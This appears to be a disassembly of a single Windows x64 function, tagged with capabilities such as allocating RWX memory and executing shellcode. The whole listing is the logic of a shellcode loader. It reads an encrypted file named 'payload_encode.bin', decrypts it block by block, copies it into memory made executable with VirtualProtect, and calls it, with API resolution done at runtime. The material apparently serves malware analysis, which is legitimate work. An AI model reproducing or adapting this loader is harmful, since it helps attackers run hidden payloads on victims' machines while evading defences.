Function at 0x140002cac
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x40
lea rdx, [0x140002b9c]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
xor esi, esi
lea rcx, [0x1400439e0]
mov edx, esi
mov r8d, esi
mov r9d, 0x100
mov eax, r8d
and eax, 0x800000ff
jge 0x140002cfa
dec eax
or eax, 0xffffff00
inc eax
mov byte [rcx], al
add r8d, edx
inc rcx
sub r9, 1
jne 0x140002ce7
add edx, 0x11
cmp edx, 0xaa
jl 0x140002cde
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [0x14003b6a0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140044410], rax
call fcn.140002afc
or r14, 0xffffffffffffffff
mov dword [rsp + 0x28], esi
mov r9d, r14d
mov qword [rsp + 0x20], rsi
lea r8, str..payload_encode.bin
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rdi, eax
test eax, eax
jne 0x140002d78
lea rcx, str.Failed_to_convert_string_to_wide_string._n
call fcn.140001118
jmp 0x140002e2c
mov eax, 2
mul rdi
cmovo rax, r14
mov rcx, rax
call fcn.1400086a4
mov r9d, r14d
mov dword [rsp + 0x28], edi
lea r8, str..payload_encode.bin
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0xfde9
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, r14
jne 0x140002df5
lea rdx, str..payload_encode.bin
lea rcx, str.Error_opening_file_for_reading:__s_n
call fcn.140001118
jmp 0x140002e2c
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [0x14004441c], eax
cmp eax, 0xffffffff
jne 0x140002f32
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_getting_file_size._Error_code:__d_n
call fcn.140001118
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x14004441c]
and ecx, 0xfffffff8
mov dword [0x1400439d0], ecx
call fcn.1400086a4
mov rbx, qword [0x1400439d8]
mov rdi, rax
mov qword [0x140044430], rax
mov eax, dword [0x1400439d0]
cdq
and edx, 7
add eax, edx
sar eax, 3
test eax, eax
jle 0x140002e8d
sub rdi, rbx
mov esi, eax
lea r8, [rdi + rbx]
mov rdx, rbx
lea rcx, [0x1400439e0]
call fcn.140001d98
add rbx, 8
sub rsi, 1
jne 0x140002e69
mov rbx, qword [0x1400439d8]
mov rcx, rbx
call fcn.140008660
mov edx, dword [0x1400439d0]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [0x1400439d0]
lea r9, [0x14004442c]
mov rcx, rax
mov qword [0x140044438], rax
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, dword [0x1400439d0]
mov rdx, qword [0x140044430]
mov rcx, qword [0x140044438]
call fcn.14000a4a0
lea rdx, [0x14003b6a8]
lea rcx, [0x140042380]
call fcn.140005124
mov rdx, qword [0x140044438]
mov rcx, rax
call fcn.140002f94
mov rcx, rax
call fcn.140005308
call qword [0x140044438]
mov rbx, qword [rsp + 0x58]
xor eax, eax
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
mov ecx, eax
call fcn.1400086a4
mov r8d, dword [0x14004441c]
lea r9, [rsp + 0x50]
mov rdx, rax
mov qword [0x1400439d8], rax
mov rcx, rbx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140002e23
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_reading_file._Error_code:__d_n
call fcn.140001118
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x1400439d8]
call fcn.140008660
jmp 0x140002e2c